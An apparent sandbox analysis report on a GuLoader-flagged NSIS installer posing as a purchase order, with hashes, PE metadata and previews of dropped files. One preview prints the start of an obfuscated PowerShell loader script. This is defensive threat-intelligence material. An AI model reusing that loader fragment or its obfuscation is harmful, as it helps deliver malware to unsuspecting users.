MD5:	3D6DC70FDDC7BE176013904F5F6ED066
SHA1:	73638AF4A419E0A7DC397B9477A0C2EDB8DE9490
SHA-256:	5D7466A771B69DBDB540C50BC6EBE324B4FA3BDA6E0F4CC92CEC930148FCCFAA
SHA-512:	60552F022AE9418514820B7BF8243434FFE2BBEE7F34D8ED7D053679928C583CFB4C07FE62588629A6064C196184F6DB0D7FDBDB26692FC1CA9B1C99F248B117
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$7o..z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$7o..z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	5.397399275438495
Encrypted:	false
SSDEEP:	24:37WSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R88Hr2Vbu:rWSU4y4RQmFoUeUmfmZ9tlNWR8OqVbu
MD5:	331F69B9C429BA0CE71C04EA0AA4B115
SHA1:	BC95D0936B2B208A7AA48A1A259ADA1216BFD5A1
SHA-256:	D51677FF5BAB9E2060FF6B67F1A1958F11178EF36DF8D2BD9F043826CA47E8DE
SHA-512:	85413E9CC5CA9B12FA835D479904834EA3E1BEC693CCE00E496E98398AD02EF7914621611752445932384C1B2A5F188B2513C02974254B12951FC0D8E2215289
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dd44r4f.15t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nocsdsx.j0b.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c35zokgc.wxk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p11uspji.ydw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nse6573.tmp

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	data
Category:	dropped
Size (bytes):	622200
Entropy (8bit):	6.838437002582809
Encrypted:	false
SSDEEP:	12288:Ha6fxHweMUQ40g8wIIyvjzYe+rYEN5ROp2V61/shyx:Ha8QePLawIIfe+364k
MD5:	75467CCB43B0B4E9C00DA1E113D822A2
SHA1:	BD98D3A2F3177332BCDEA40EAE864D61D948F8BC
SHA-256:	1672DDA711832E387CEF6CD9EFD2F5FCE78BFC720313EFD59493E6292D122F40
SHA-512:	5F6386C6AEBB89C58DAC087A454C59D617D3DBC44DC06F7C12A6659433C158ACF6D3991513E47D6FD14C265ED8C60B04EE5B159E0C45C3A31A918A5A0078455C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Temp\nse6573.tmp, Author: Joe Security
Preview:	........,.......................p.......n.......<...................................................................=.......!...............................................................................................................................................................G...Z...........p...j...............................................................................................................................\...........[...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.140229856656103
Encrypted:	false
SSDEEP:	96:J7fhfKaGgchPzxK6bq+pKX6D8ZLidGgmkN738:HbGgGPzxeX6D8ZyGgmkN
MD5:	01E76FE9D2033606A48D4816BD9C2D9D
SHA1:	E46D8A9ED4D5DA220C81BAF5F1FDB94708E9ABA2
SHA-256:	EE052FD5141BF769B841846170AABF0D7C2BB922C74C623C3F109344534F7A70
SHA-512:	62EF7095D1BF53354C20329C2CE8546C277AA0E791839C8A24108A01F9483A953979259E0AD04DBCAB966444EE7CDD340F8C9557BC8F98E9400794F2751DC7E0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: teamviewer_Px-yDq1.exe, Detection: malicious, Browse Filename: teamviewer_Px-yDq1.exe, Detection: malicious, Browse Filename: SMGS-RCDU5010031.exe, Detection: malicious, Browse Filename: SMGS-RCDU5010031.exe, Detection: malicious, Browse Filename: RC_S23_3274 Or_amento ADP 231019_5_5009.exe, Detection: malicious, Browse Filename: RC_S23_3274 Or_amento ADP 231019_5_5009.exe, Detection: malicious, Browse Filename: IMG-2023010_WAA646737kendelsesordningenBalneo.exe, Detection: malicious, Browse Filename: IMG-2023010_WAA646737kendelsesordningenBalneo.exe, Detection: malicious, Browse Filename: Pepsico_LLC_RFQ_Information.com.exe, Detection: malicious, Browse Filename: Pepsico_LLC_RFQ_Information.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L....z.W...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	ASCII text, with very long lines (25948), with no line terminators
Category:	dropped
Size (bytes):	25948
Entropy (8bit):	5.5477091710283215
Encrypted:	false
SSDEEP:	384:36dq0MO0QFoK3k8Ae0Z24ftUeQv54J+vkwCc+MMFTbr0UN1DDHa1D0bBJ+mMtz4:6rMO0QFook008gexVCT1Nt61SDMi
MD5:	718548247C1303664965903558D95C2F
SHA1:	37A83A369F564C019D7BDF7CC936A2EAF7C03CE4
SHA-256:	A12EE66022E1C0CFB89FD16745AAFC346D4A475944C4552888096D6DA5823186
SHA-512:	0F7CC73C3407317CF85BE2C5316C8FE547371848494A91B3A95E3E6ECFA0F5BAC0284896DFFFD954F7CD003125D559534A69F783BDA7874CDFF62059454CCFEC
Malicious:	true
Preview:	<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu.Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K.Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInne

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\centimo.kog

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	data
Category:	dropped
Size (bytes):	45671
Entropy (8bit):	4.90795232450819
Encrypted:	false
SSDEEP:	768:esbuwu3TGi72cX8yrm7pabOb8XVVGP+P5chQG6LaJ1Lq675HxZRMQJ8D0:esil3TD2O8yrmEdFVLh8YLU1Lq25fRMM
MD5:	A3B99B2106C825413B33478E9973057B
SHA1:	168395C750F8C3ED83129E355AEAB99FF8E2CBD4
SHA-256:	03F143F0013A807841AD608E2E1BBD868E4BE6B1CDA3F2ABEEE13B83EA6D6C0F
SHA-512:	03137A4C651911E42C003859571DC57B96D76002C4A221C23C7139815168402E857DF6FE7BDFDF91618F75E11367C2CBFBA79579AFF147DD2D8F5C4C4B26DE8C
Malicious:	false
Preview:	...B.#.............U.......].........G.................. ..MKv.....9.......(....../.f....Ii....).........$........(...<vV{.g......iqR.O......?._$2...A.1.).}..a.E....>........^1..s.....?.x[.........9.......xp.M..)^.k......cL...q.j..F:.......nR..D.J.....}............-...f....}.s.......ry.wg....`.....?..b..)....\|...........{......U.......E..<.b........t.........................:....{....... ...&....N.....0.v.'..................O...^.....h...)..................;.".....S.............@.......M..........L....\........0......................E.{...........x..~>........>...[...s.E=_....U.........t....>..C...... ..5...%[-......y..........@%........~l...B..+.$...[..\|..6.?.........".......................?.......*..p.C......Q...#.P.........W..^...e.........#...q.%}...-@.....>X..d................"...........g...4...............-\....k.......k..........6.....d...r_W....N..........$.F....d...............!..................F..v................f...B......[...).f.5q......LT..a.......J..............

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\nglepersoners.cas

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	data
Category:	dropped
Size (bytes):	26429
Entropy (8bit):	4.907195976945197
Encrypted:	false
SSDEEP:	768:x0akO5waWRx/acJalHVyLMtomP6KLx9uQ:WakO2n3/mHVttoI6Ax4Q
MD5:	9DA6E8F56037E6935CB6161A6DFCBF21
SHA1:	5A4B78DF18AFF5367E1BC7B423C0077AEF44283A
SHA-256:	19E727679ED75F15F5762E0EAABBFF42EB1A45A7E1F2689CE03F1147EAEA3D93
SHA-512:	2EB2F4BF87CDEB784F65AA14E4EBA59988B91B8CB220254E0997BE78A669129EC5B123F730B6206042BD65C4F05424494C24FF806A4088DBED72CF5C1A6377CC
Malicious:	false
Preview:	2.cj....~.z........@...".`......D..)B....<......j...{......7.....F.......4M..z.DP/..\.......(..g...l.}....3...i.a.[..........................,.&g.........`i.......b....F..4p............KY=.0...\|..........a.I....../...J0.....:.P...N.....YIl.....C........N.".Kc4...]..H...............=.QF..:\|jx.....................+..........s8........x..........8.......V.z......I0....................:....^.s.....o..g......]......@.+Q.4......#..........$.......4..~....@c...9i......my............b../..........`..[.....h.]...S..............$..i8................]N].0....V.....8...\|.....7...............H...o.\|..l.Jg..l......9...F....B/............3.AO..\|...z".........w..........I...............\9.........~...............0.....@.rd....{..a.......(..K.H.....w..B........Q........................:`...........;..>......Q............."...8.........3....n...(..............f...J......f.}.c>.......................................5.}G..P.....9.3............J{............m.3.....1.............B......

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\oceanographers.por

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	data
Category:	dropped
Size (bytes):	75475
Entropy (8bit):	4.940792498010488
Encrypted:	false
SSDEEP:	1536:Pn0ebls0Q+hOkjmWBenn5z+6NmRbCwGX12gSoQiLgKb5FYMYC:Pnls6h9m3n5aRbCYA5FY4
MD5:	F1285913BD7A50C2D704DC961C188D16
SHA1:	785F2E3A20C671F5B9F1299DCC6570871663C128
SHA-256:	05FFBABD8BF53A9FB30E39E5E7F9CF8A7CFDA60453FE6F85E4F79B7E09055F44
SHA-512:	959D5C22471D2A1DEE641B43D187EFF3D53A1BCB29069764D663C6280975B9EE9F8FAF8EFAF34404D361A9DC6736B1FA1800003CC0CD4ACA3E52744F3A67713F
Malicious:	false
Preview:	....F... ....<...o]s.?. .3...........).........X...Z..J$.........;..k7.....b................:9.v.bn..........UN.z."...!.......#..[.....$U.......#.....}..............8.L.......1......@......z......%.=/u.;....gS....M\..........m..............(.......W..K.....:.Z....#......K......,I.r.........P"....i+..)p....p.H..m..S{Y!}...B........~......%...........R........d...o...p..........q~....[..................w...5..1..u......_D@p..........m....,.....A................S...q....+w.G...l..........3....s.........1f9.......S7.../.:...?K.g....`..M..;.....L.......`........@.....m...u.....G...s....\|......,............5........I ...............:...........:.........\|...................@.9..J....mD.).9..........=,...H.........c;........5.............[.....img...J.....................zZ............\.X.......=...U.s...I:....9.....>.I................~...C'...@...".....W...v...............u................T...S...}RW..E`..............h.......\.....4....[..[...........\|.........K..b..8z.r.

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\sarawakese.dri

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	data
Category:	dropped
Size (bytes):	371116
Entropy (8bit):	7.85868335109414
Encrypted:	false
SSDEEP:	6144:iNGuGCIM5ZVt80g3j83l5wryMUlsd5o70g8wISgIynvjRLZjajve+rw88EBN5ud4:ia6fxHweMUQ40g8wIIyvjzYe+rYEN5j
MD5:	9B1B97D65493135C635B1A5666771597
SHA1:	EA94964C812958C19070AF90F28D526951FECB40
SHA-256:	DE0E75FCA60CBE4F2DC6A6B3D20BE8F78E40822DD6F6451263252C935145AFBA
SHA-512:	ACAD88A403F8D8329527FBB8081966A62AD23031494D0E9C017188BC63544F94A17A1C8C9AFEE620C061A87FF298208FDA758DF702ECDC168028B0BA171FBD47
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\sarawakese.dri, Author: Joe Security
Preview:	...............MM..................%.%.6..............vvvv......................"...............kk....d.U.....,.......m....??.... ......Z..................!!.^^^.........///.Z.................v...............................]...+..."..www.................uu...........FF.WWWW..........LL.........""...GG....................44.....K..........0...G................}}.................77................R......................]]].....................sss........x................kk......dddd..............w...____.............~~.......b.......R.......;;............................................._..........._.................B...<..............................................fff......................//...................".pp...............Y...CC....j..............!!.............u.DDD..>..................kk.ee.............r.............u..T.....ppp.....n...............7777.&.......qqq.P....;;;.................44..=...........E.........s..ffff......................\|......PPPPPP..................--

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\trediedel.txt

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	319
Entropy (8bit):	4.271581980615064
Encrypted:	false
SSDEEP:	6:CgT93WAirQXF9hb8HQnOnQm9/LK5RjnzF9slcLDQE0gM/dzJ:CgTNXFLXK1G5lxaU901l
MD5:	45EFD154747B90956D3E892FBA8B6947
SHA1:	4FA5DB84F62A95330F4113B97E34FC2D4C2986FC
SHA-256:	3FAC82F24790DC893C8FBD41E058C06E362F555640F71800302DA23A07A1C2DE
SHA-512:	73493D0A6CC63A4B31024FFF3F693768BE91ABF7DC90AF098DC7B13359F63EA109901249310414C3089D4507334888D25DA37BBB23219AB5E064B1CC4230BB28
Malicious:	false
Preview:	basunengels oldtidsminders brdfrugttrernes stormward urans..dansebulerne svindsottige indregistrere,terminalprocessens bundskraber funktionssymbolerne subumbilical.headworker overstarch quickies hverandres,hooky pirringernes handelshjskole adstringe forskes..tacitness grdekonens fusere zakarias instanding nedrykkende,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\skrides.ini

Download File

Process:	C:\Users\user\Desktop\PO_00290292.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	3.8140156038557316
Encrypted:	false
SSDEEP:	3:dRH+IMqzrOuP:dd+IMqPX
MD5:	482781AEC46A6737943C76FF0B4E2864
SHA1:	F5161E368614B3BD66571E8921F4C2AE01977590
SHA-256:	CFD2A6B98273B5DCB90F313340A1A6B172305893FCC779F2AC26C3C4954EDD02
SHA-512:	4113652C465CCE5BEBB8B5082766D5B4F4C7C20BAFA694A6B2C429C8E96491207B0BEFC142ABF8F8E7C192FD03795724AD134196E9A0289FCEB8D343B14B46D8
Malicious:	false
Preview:	[retsbog]..utilizabilities=releasible..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.848364686317889
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO_00290292.exe
File size:	566'744 bytes
MD5:	cc69508628ade733aa8bd21a0a646514
SHA1:	90a270f4529739d82941c6def0efa77eca1a3b09
SHA256:	f216c47f4a5f65a59ded595d62c2470ceb14cc1c31c3a8b4667b8fc3eb276cc2
SHA512:	c42b7e234dd5473e658687eb6bb1efb9c0dd5742ebdd974242a80c02d01be77305e2522073cc87193fedf02b1c683c48a97d2075a70592356ddc8e216f8e0df0
SSDEEP:	12288:0g8/ZwHctOwMltJy48IpD5W0sV5b0AVsOmFUg93m:KeHckwItJy48IPW0Cj6OWU6m
TLSH:	87C402C679C98CEAF83F49B3B09755791CD86ED672B110FB2B64B38424726838E5F418
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..OP.._...P...s...P...V...P..Rich.P..........PE..L....z.W.................b...*.......3............@

File Icon


Icon Hash:	d56c6c51d5ce6d59

Static PE Info

General

Entrypoint:	0x4033b6
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57017AB0 [Sun Apr 3 20:18:56 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4ea4df5d94204fc550be1874e1b77ea7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Grnttrrestationen@Typicalness.Spi, O=Revne, CN=Revne, L=Valley Forge, S=Pennsylvania, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	10/10/2023 10:33:07 09/10/2026 10:33:07
Subject Chain	E=Grnttrrestationen@Typicalness.Spi, O=Revne, CN=Revne, L=Valley Forge, S=Pennsylvania, C=US
Version:	3
Thumbprint MD5:	68FC36478BF0B5E96292261C3159FA24
Thumbprint SHA-1:	AFE8E8AC4A5209BDF02FD2E0B40D2DAA723C0B9D
Thumbprint SHA-256:	63D19C16B421AD654F8399B0900E9B35C3E6BC5B4818DD0D62160BB6E244089E
Serial:	45F778947B66ED1EA3AE3F7C82961AD8FC899E3D

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080B4h]
call dword ptr [004080B0h]
cmp ax, 00000006h
je 00007F20D48F19C3h
push ebx
call 00007F20D48F4B1Ch
cmp eax, ebx
je 00007F20D48F19B9h
push 00000C00h
call eax
mov esi, 004082B8h
push esi
call 00007F20D48F4A96h
push esi
call dword ptr [0040815Ch]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F20D48F199Ch
push ebp
push 00000009h
call 00007F20D48F4AEEh
push 00000007h
call 00007F20D48F4AE7h
mov dword ptr [0042A244h], eax
call dword ptr [0040803Ch]
push ebx
call dword ptr [004082A4h]
mov dword ptr [0042A2F8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h
push 00429240h
call 00007F20D48F46D0h
call dword ptr [004080ACh]
mov ebp, 00435000h
push eax
push ebp
call 00007F20D48F46BEh
push ebx
call dword ptr [00408174h]
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0x11180	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x89c08	0x9d0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x615d	0x6200	c5c0065fc4c103ac2469dafdce131fb4	False	0.6616709183673469	data	6.45041359169741	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x13a4	0x1400	4ac891d4ddf58633f14436f9f80ac6b6	False	0.4529296875	data	5.163001655755973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20338	0x600	66b45fceba0f24d768fb09e0afe23c99	False	0.5026041666666666	data	3.9824009583068882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x55000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x80000	0x11180	0x11200	154f08293ebbaf4693da668407e6410e	False	0.1918196852189781	data	5.314558177965985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x801d8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.17950727552348278
RT_DIALOG	0x90a00	0x100	data	English	United States	0.5234375
RT_DIALOG	0x90b00	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x90c20	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x90c80	0x14	data	English	United States	1.15
RT_VERSION	0x90c98	0x1a4	data	English	United States	0.5547619047619048
RT_MANIFEST	0x90e40	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, CreateFileW, GetFileSize, MoveFileW, SetFileAttributesW, GetModuleFileNameW, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, WaitForSingleObject, GetCurrentProcess, CompareFileTime, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GlobalFree, GlobalAlloc, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, ExpandEnvironmentStringsW, lstrcmpW, GetDiskFreeSpaceW, lstrlenW, lstrcpynW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
